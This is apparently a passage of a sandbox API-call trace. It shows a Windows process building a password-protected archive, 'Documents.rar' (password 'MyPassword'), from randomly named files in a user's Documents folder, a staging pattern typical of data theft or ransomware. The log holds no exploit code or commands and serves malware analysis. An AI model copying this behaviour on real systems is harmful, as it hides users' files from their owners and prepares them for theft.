RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0068.983] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0068.983] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a70, Size=0x48) returned 0x39db40 [0068.983] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.983] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0068.983] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a70, Size=0x48) returned 0x39daf0 [0068.983] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.983] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0068.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0068.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65aa0 | out: hHeap=0x2e0000) returned 1 [0068.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a70 | out: hHeap=0x2e0000) returned 1 [0068.984] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a40, Size=0x4d) returned 0x3b5b210 [0068.984] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x89) returned 0x3b99810 [0068.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.984] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b99810 | out: hHeap=0x2e0000) returned 1 [0068.985] GetTickCount () returned 0xa6786d [0068.985] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14432514319) returned 1 [0068.985] GetTickCount () returned 0xa6786d [0068.985] GetTickCount () returned 0xa6786d [0068.985] GetTickCount () returned 0xa6786d [0068.985] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.985] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.985] GetFocus () returned 0x0 [0068.985] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.985] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.985] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.985] ResetEvent (hEvent=0x1a4) returned 1 [0068.985] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.045] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.056] ResetEvent (hEvent=0x1a4) returned 1 [0069.056] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.056] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.058] GetTickCount () returned 0xa678ab [0069.058] GetLastError () returned 0x0 [0069.058] SetLastError (dwErrCode=0x0) [0069.058] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0069.058] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0069.058] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0069.059] SetWindowTextW (hWnd=0x10282, lpString=" 100%") returned 1 [0069.059] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0069.059] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14439976311) returned 1 [0069.059] GetTickCount () returned 0xa678ab [0069.059] GetTickCount () returned 0xa678ab [0069.059] GetTickCount () returned 0xa678ab [0069.059] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0069.061] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0069.061] GetFocus () returned 0x0 [0069.061] TranslateMessage (lpMsg=0x1cd760) returned 0 [0069.061] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0069.061] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.061] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.061] ResetEvent (hEvent=0x190) returned 1 [0069.061] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.061] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.062] ResetEvent (hEvent=0x190) returned 1 [0069.062] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.062] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.062] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.062] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.062] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x41a01a [0069.062] SetFilePointer (in: hFile=0x198, lDistanceToMove=135, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x41a0a1 [0069.062] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.063] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.063] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.063] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.063] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x7b20, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x7b20, lpOverlapped=0x0) returned 1 [0069.064] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.064] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.064] SetFilePointer (in: hFile=0x198, lDistanceToMove=4300826, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x41a01a [0069.064] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x41a01a [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0069.064] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a70, Size=0x48) returned 0x39daf0 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0069.064] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a70, Size=0x48) returned 0x39db40 [0069.064] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.064] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.064] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65aa0 | out: hHeap=0x2e0000) returned 1 [0069.064] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a70 | out: hHeap=0x2e0000) returned 1 [0069.064] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a40, Size=0x4d) returned 0x3b5b210 [0069.064] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x89) returned 0x3b99810 [0069.064] WriteFile (in: hFile=0x198, lpBuffer=0x3b99812*, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3b99812*, lpNumberOfBytesWritten=0x1c82c0*=0x87, lpOverlapped=0x0) returned 1 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a40 [0069.064] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x87) returned 0x3a3f40 [0069.064] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.064] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b99810 | out: hHeap=0x2e0000) returned 1 [0069.064] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x421bc1 [0069.064] CloseHandle (hObject=0x1b0) returned 1 [0069.064] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.064] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.064] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.064] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.064] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.065] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.065] CreateFileW (lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\ticknwyqxorsfs05kwkk\\swmu.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.065] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.065] GetTickCount () returned 0xa678bb [0069.065] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.065] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.065] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.065] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.065] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="PJuyGmzhd Ku-a_pm.pps") returned 21 [0069.065] SetWindowTextW (hWnd=0x10280, lpString="SwMu.rtf") returned 1 [0069.065] GetTickCount () returned 0xa678bb [0069.065] UpdateWindow (hWnd=0x10278) returned 1 [0069.065] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.065] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.066] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.066] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.066] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x291)) [0069.066] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.066] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14440661809) returned 1 [0069.066] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x10214, lpOverlapped=0x0) returned 1 [0069.068] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b0254, nNumberOfBytesToRead=0xefdec, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b0254*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.068] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.068] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0069.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.068] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65aa0, Size=0x48) returned 0x39db40 [0069.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.068] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65aa0, Size=0x48) returned 0x39daf0 [0069.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.068] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ad0 | out: hHeap=0x2e0000) returned 1 [0069.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65aa0 | out: hHeap=0x2e0000) returned 1 [0069.068] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a70, Size=0x48) returned 0x39db40 [0069.068] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7c) returned 0x3a3fd0 [0069.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.070] GetTickCount () returned 0xa678bb [0069.070] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14441077800) returned 1 [0069.070] GetTickCount () returned 0xa678bb [0069.070] GetTickCount () returned 0xa678bb [0069.070] GetTickCount () returned 0xa678bb [0069.070] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.070] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.070] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.071] ResetEvent (hEvent=0x1a4) returned 1 [0069.071] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.071] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.072] ResetEvent (hEvent=0x1a4) returned 1 [0069.072] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.072] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.084] ResetEvent (hEvent=0x1a4) returned 1 [0069.084] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.084] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.086] GetTickCount () returned 0xa678ca [0069.086] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14442731780) returned 1 [0069.087] GetTickCount () returned 0xa678ca [0069.087] GetTickCount () returned 0xa678ca [0069.087] GetTickCount () returned 0xa678ca [0069.087] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0069.087] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0069.087] GetFocus () returned 0x0 [0069.087] TranslateMessage (lpMsg=0x1cd760) returned 0 [0069.087] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0069.087] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.087] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.087] ResetEvent (hEvent=0x190) returned 1 [0069.087] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.087] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.088] ResetEvent (hEvent=0x190) returned 1 [0069.088] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.088] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.089] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.089] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.089] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x421bc1 [0069.089] SetFilePointer (in: hFile=0x198, lDistanceToMove=121, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x421c3a [0069.089] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.089] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.089] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.089] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.089] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xda70, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xda70, lpOverlapped=0x0) returned 1 [0069.090] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.090] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.090] SetFilePointer (in: hFile=0x198, lDistanceToMove=4332481, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x421bc1 [0069.090] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x421bc1 [0069.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0069.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.090] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65aa0, Size=0x48) returned 0x39daf0 [0069.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.090] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65aa0, Size=0x48) returned 0x39db40 [0069.090] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65aa0 [0069.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ad0 [0069.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ad0 | out: hHeap=0x2e0000) returned 1 [0069.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65aa0 | out: hHeap=0x2e0000) returned 1 [0069.091] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65a70, Size=0x48) returned 0x39daf0 [0069.091] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7c) returned 0x3a3fd0 [0069.091] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x79, lpOverlapped=0x0) returned 1 [0069.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a70 [0069.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x79) returned 0x3a4060 [0069.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.091] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.091] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x42f6aa [0069.091] CloseHandle (hObject=0x1b0) returned 1 [0069.091] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.091] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.091] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.091] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.091] FindFirstFileW (in: lpFileName="xwucnZa1H0T.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.091] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.091] CreateFileW (lpFileName="xwucnZa1H0T.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\xwucnza1h0t.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.094] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.094] GetTickCount () returned 0xa678da [0069.094] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.094] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.094] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.094] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.094] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="SwMu.rtf") returned 8 [0069.094] SetWindowTextW (hWnd=0x10280, lpString="xwucnZa1H0T.xlsx") returned 1 [0069.095] GetTickCount () returned 0xa678da [0069.095] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 1 [0069.095] GetMessageW (in: lpMsg=0x1cd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd830) returned 1 [0069.095] GetFocus () returned 0x0 [0069.095] TranslateMessage (lpMsg=0x1cd830) returned 0 [0069.095] DispatchMessageW (lpMsg=0x1cd830) returned 0x0 [0069.095] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.095] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, 